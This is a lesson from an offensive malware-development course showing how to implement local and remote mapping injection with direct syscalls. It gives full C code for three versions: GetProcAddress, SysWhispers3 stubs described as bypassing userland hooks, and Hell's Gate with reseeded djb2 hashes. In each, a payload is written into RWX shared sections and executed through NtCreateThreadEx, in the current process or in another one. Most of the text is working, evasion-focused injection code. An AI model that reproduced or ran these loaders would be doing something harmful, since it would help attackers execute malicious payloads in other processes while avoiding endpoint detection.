68. Syscalls - Reimplementing Mapping Injection

Syscalls - Reimplementing Mapping Injection

Introduction

In this module, the mapping injection technique discussed earlier will be implemented using direct syscalls, replacing WinAPIs with their syscall equivalent.

Syscall Parameters

This section will go through the syscalls that will be used and explain their parameters.

NtCreateSection

This is the resulting syscall from the CreateFileMapping WinAPI. NtCreateSection is shown below.

NTSTATUS NtCreateSection(
  OUT PHANDLE             SectionHandle,          // Pointer to a HANDLE variable that receives a handle to the section object
  IN ACCESS_MASK          DesiredAccess,          // The type of the access rights to section handle
  IN POBJECT_ATTRIBUTES   ObjectAttributes,       // Pointer to an OBJECT_ATTRIBUTES structure (set to NULL)
  IN PLARGE_INTEGER       MaximumSize,            // Maximum size of the section
  IN ULONG                SectionPageProtection,  // Protection to place on each page in the section
  IN ULONG                AllocationAttributes,   // Allocation attributes of the section (SEC_XXX flags)
  IN HANDLE               FileHandle              // Optionally specifies a handle for an open file object (set to NULL)
);

While NtCreateSection and CreateFileMapping have many similarities, some parameters are new. First, the DesiredAccess parameter describes the type of access rights for the section handle. The list of options is shown in the image below.

In this module, either SECTION_ALL_ACCESS or SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE will suffice.

Next, the MaximumSize parameter is a pointer to a LARGE_INTEGER structure. The only element that needs to be populated is the LowPart element which will be equal to the payload's size. The LARGE_INTEGER structure is shown below.

typedef union _LARGE_INTEGER {
  struct {
    DWORD LowPart;
    LONG  HighPart;
  } DUMMYSTRUCTNAME;
  struct {
    DWORD LowPart;
    LONG  HighPart;
  } u;
  LONGLONG QuadPart;
} LARGE_INTEGER;

Finally, the AllocationAttributes parameter specifies a bitmask of SEC_XXX flags that determines the allocation attributes of the section. The list of flags can be found here under the flProtect parameter. In this module, this parameter will be set to SEC_COMMIT.

NtMapViewOfSection

This is the resulting syscall from the MapViewOfFile WinAPI. NtMapViewOfSection is shown below.

NTSTATUS NtMapViewOfSection(
  IN HANDLE               SectionHandle,            // HANDLE to Section Object created by 'NtCreateSection'
  IN HANDLE               ProcessHandle,            // Process handle of the process to map the view to
  IN OUT PVOID            *BaseAddress,             // Pointer to a PVOID variable that receives the base address of the view
  IN ULONG                ZeroBits,                 // set to NULL
  IN SIZE_T               CommitSize,               // set to NULL
  IN OUT PLARGE_INTEGER   SectionOffset,            // set to NULL
  IN OUT PSIZE_T          ViewSize,                 // A pointer to a SIZE_T variable that contains the size of the memory to be allocated
  IN SECTION_INHERIT      InheritDisposition,       // How the view is to be shared with child processes
  IN ULONG                AllocationType,           // type of allocation to be performed (set to NULL)
  IN ULONG                Protect                   // Protection for the region of allocated memory
);

For more documentation on each parameter, reference Microsoft's documentation on ZwMapViewOfSection. The Zw documentation can be used if Microsoft is missing the Nt documentation, which is the case with this syscall.

Some points need to be discussed about the following parameters:

First, the ViewSize parameter rounds up to the nearest multiple of a page size (recall that the page size is 4096 bytes).

Next, the InheritDisposition parameter is derived from the SECTION_INHERIT enum. It can be set to one of two values

  1. ViewShare which maps the view into any child processes that are created in the future.
  1. ViewUnmap which does not map the view into any child processes.

The SECTION_INHERIT enum is shown below.

typedef enum _SECTION_INHERIT {
	ViewShare = 1,
	ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;

In this module, the value will always be ViewUnmap because the implementation does not create any child processes.

Finally, the Protect parameter specifies the type of protection for the allocated memory which can be any value found here.

NtUnmapViewOfSection

This is the resulting syscall from the UnmapViewOfFile WinAPI. NtUnmapViewOfSection is shown below.

NTSTATUS NtUnmapViewOfSection(
  IN HANDLE               ProcessHandle,    // Process handle of the process that contains the view to unmap
  IN PVOID                BaseAddress       // Base address of the view to unmap
);

NtClose

This is the resulting syscall from the CloseHandle WinAPI. NtClose is shown below.

NTSTATUS NtClose(
  IN HANDLE               ObjectHandle    // Handle of the object to close
);

NtClose syscall will be used to close the handle of a section created using NtCreateSection.

Implementation Using GetProcAddress and GetModuleHandle

The next step is to implement the mapping injection technique using the previously shown syscalls. Similarly to the previous module, it will be shown using three methods, starting with using GetProcAddress and GetModuleHandle.

Syscall structure is created and initialized using InitializeSyscallStruct, which holds the addresses of the syscalls used, as shown below.

// a structure used to keep the syscalls used
typedef struct _Syscall {

	fnNtCreateSection       pNtCreateSection;
	fnNtMapViewOfSection    pNtMapViewOfSection;
	fnUnmapViewOfSection    pNtUnmapViewOfSection;
	fnNtClose               pNtClose;
	fnNtCreateThreadEx      pNtCreateThreadEx;

}Syscall, * PSyscall;



// function used to populate the input 'St' structure
BOOL InitializeSyscallStruct (OUT PSyscall St) {

	HMODULE hNtdll	= GetModuleHandle(L"NTDLL.DLL");
	if (!hNtdll) {
		printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	St->pNtCreateSection         = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
	St->pNtMapViewOfSection      = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
	St->pNtUnmapViewOfSection    = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
	St->pNtClose                 = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
	St->pNtCreateThreadEx        = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

 	// check if GetProcAddress missed a syscall
	if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
		return FALSE;
	else
		return TRUE;
}

The LocalMappingInjectionViaSyscalls and RemoteMappingInjectionViaSyscalls functions are responsible for injecting the payload (pPayload) in the local process and remote process (hProcess), respectively. Both functions are shown below.

LocalMappingInjectionViaSyscalls

BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection		= NULL;
	HANDLE				hThread			= NULL;
	PVOID				pAddress		= NULL;
	NTSTATUS			STATUS			= NULL;
	SIZE_T				sViewSize		= NULL;
	LARGE_INTEGER		MaximumSize		= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};
	Syscall				St			    = { 0 };

	// Initializing the 'St' structure to fetch the syscall's addresses
	if (!InitializeSyscallStruct(&St)) {
		printf("[!] Could Not Initialize The Syscall Struct \n");
		return FALSE;
	}

//--------------------------------------------------------------------------
	// Allocating local map view

	if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);

//--------------------------------------------------------------------------
	// Writing the payload

	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);

//--------------------------------------------------------------------------

	// Executing the payload via thread creation

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
	if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

	// Unmpaing the local view - only when the payload is done executing
	if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Closing the section handle
	if ((STATUS = St.pNtClose(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

RemoteMappingInjectionViaSyscalls

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection			= NULL;
	HANDLE				hThread				= NULL;
	PVOID				pLocalAddress		= NULL,
					    pRemoteAddress		= NULL;
	NTSTATUS			STATUS				= NULL;
	SIZE_T				sViewSize			= NULL;
	LARGE_INTEGER		MaximumSize 		= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};
	Syscall				St				    = { 0 };


	if (!InitializeSyscallStruct(&St)) {
		printf("[!] Could Not Initialize The Syscall Struct \n");
		return FALSE;
	}

//--------------------------------------------------------------------------
	// Allocating local map view

	if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL, PAGE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pLocalAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

	// Allocating remote map view
	if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

	// Executing the payload via thread creation
	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
	if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

	// Unmapping the local view - only when the payload is done executing
	if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}


	// Closing the section handle
	if ((STATUS = St.pNtClose(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

The NtUnmapViewOfSection function should only be executed after the payload has finished executing. Attempting to unmap the mapped local view while the payload is still running could break the payload execution or cause a process to crash. As an alternative, the NtWaitForSingleObject syscall can be used to wait until the thread is finished, after which the NtUnmapViewOfSection syscall can be performed to clean up the mapped payload, though this is left as an exercise to the reader.

Implementation Using SysWhispers

The implementation here uses SysWhispers3 to bypass userland hooks via direct syscalls. The following command is used to generate the required files for this implementation.

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*

Three files are generated: SysWhispers.hSysWhispers.c and SysWhispers-asm.x64.asm. The next step is to import these files into Visual Studio as demonstrated in the previous module. LocalMappingInjectionViaSyscalls and RemoteMappingInjectionViaSyscalls are shown below.

LocalMappingInjectionViaSyscalls

BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection		= NULL;
	HANDLE				hThread			= NULL;
	PVOID				pAddress		= NULL;
	NTSTATUS			STATUS			= NULL;
	SIZE_T				sViewSize		= NULL;
	LARGE_INTEGER		MaximumSize		= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};

//--------------------------------------------------------------------------
	// Allocating local map view

	if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);

//--------------------------------------------------------------------------

	// Executing the payload via thread creation

	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
	if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

	// Unmapping the local view - only when the payload is done executing
	if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Closing the section handle
	if ((STATUS = NtClose(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

RemoteMappingInjectionViaSyscalls

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection			= NULL;
	HANDLE				hThread				= NULL;
	PVOID				pLocalAddress		= NULL,
					    pRemoteAddress		= NULL;
	NTSTATUS			STATUS				= NULL;
	SIZE_T				sViewSize			= NULL;
	LARGE_INTEGER		MaximumSize 		= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};

//--------------------------------------------------------------------------
	// Allocating local map view

	if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pLocalAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

	// Allocating remote map view
	if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

	// Executing the payload via thread creation
	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
	if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

	// Unmapping the local view - only when the payload is done executing
	if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Closing the section handle
	if ((STATUS = NtClose(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

Implementation Using Hell's Gate

The last implementation for this module is using Hell's Gate. First, ensure that the same steps done to set up the Visual Studio project with SysWhispers3 are done here too. Specifically, enabling MASM and modifying the properties to set the ASM file to be compiled using the Microsoft Macro Assembler.

Updating The VX_TABLE Structure

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtCreateSection;
	VX_TABLE_ENTRY NtMapViewOfSection;
	VX_TABLE_ENTRY NtUnmapViewOfSection;
	VX_TABLE_ENTRY NtClose;
	VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;

Updating Seed Value

A new seed value will be used to replace the old one to change the hash values of the syscalls. The djb2 hashing function is updated with the new seed value below.

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
	INT c;

	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;

	return dwHash;
}

The following printf statements should be added to a new project to generate the djb2 hash values.

printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

Once the values are generated, add them to the start of the Hell's Gate project.

#define NtCreateSection_djb2         0x5687F81AC5D1497A#define NtMapViewOfSection_djb2      0x0778E82F702E79D4#define NtUnmapViewOfSection_djb2    0x0BF2A46A27B93797#define NtClose_djb2                 0x0DA4FA80EF5031E7#define NtCreateThreadEx_djb2        0x2786FB7E75145F1A

Updating The Main Function

The main function must be updated to use either the LocalMappingInjectionViaSyscalls or RemoteMappingInjectionViaSyscalls functions instead of the payload function. The function will use the above-generated hashes as shown below.

LocalMappingInjectionViaSyscalls

BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection		= NULL;
	HANDLE				hThread			= NULL;
	PVOID				pAddress		= NULL;
	NTSTATUS			STATUS			= NULL;
	SIZE_T				sViewSize		= NULL;
	LARGE_INTEGER		MaximumSize 	= {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};

//--------------------------------------------------------------------------
	// Allocating local map view
	HellsGate(pVxTable->NtCreateSection.wSystemCall);
	if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] Allocated Address At : 0x%p Of Size : %ld \n", pAddress, sViewSize);

//--------------------------------------------------------------------------
	// Writing the payload

	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);
	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();

//--------------------------------------------------------------------------

	// Executing the payload via thread creation

	printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
	HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
	if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));


//--------------------------------------------------------------------------

	// Unmapping the local view - only when the payload is done executing
	HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Closing the section handle
	HellsGate(pVxTable->NtClose.wSystemCall);
	if ((STATUS = HellDescent(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

RemoteMappingInjectionViaSyscalls

BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

	HANDLE				hSection			= NULL;
	HANDLE				hThread				= NULL;
	PVOID				pLocalAddress		= NULL,
					    pRemoteAddress		= NULL;
	NTSTATUS			STATUS				= NULL;
	SIZE_T				sViewSize			= NULL;
	LARGE_INTEGER		MaximumSize 	    = {
			.HighPart = 0,
			.LowPart = sPayloadSize
	};

//--------------------------------------------------------------------------
	// Allocating local map view

	HellsGate(pVxTable->NtCreateSection.wSystemCall);
	if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
		printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Local Memory Allocated At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);

//--------------------------------------------------------------------------

	// Writing the payload
	printf("[#] Press <Enter> To Write The Payload ... ");
	getchar();
	memcpy(pLocalAddress, pPayload, sPayloadSize);
	printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);

//--------------------------------------------------------------------------

	// Allocating remote map view
	HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	printf("[+] Remote Memory Allocated At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);

//--------------------------------------------------------------------------

	// Executing the payload via thread creation
	printf("[#] Press <Enter> To Run The Payload ... ");
	getchar();
	printf("\t[i] Running Thread Of Entry 0x%p ... ", pRemoteAddress);
	HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
	if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
		printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}
	printf("[+] DONE \n");
	printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

	// Unmapping the local view - only when the payload is done executing
	HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
	if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
		printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	// Closing the section handle
	HellsGate(pVxTable->NtClose.wSystemCall);
	if ((STATUS = HellDescent(hSection)) != 0) {
		printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
	}

	return TRUE;
}

Local vs Remote Injection

Similar to the previous module, a preprocessor macro code was constructed to target the local process if LOCAL_INJECTION is defined. The preprocessor code is shown below.

#define LOCAL_INJECTION#ifndef LOCAL_INJECTION#define REMOTE_INJECTION// Set the target process PID
#define PROCESS_ID	18784	#endif // !LOCAL_INJECTION

Demo

Using the SysWhispers implementation locally.

Using SysWhispers implementation remotely.

Using Hell's Gate implementation locally.

Using Hell's Gate implementation remotely.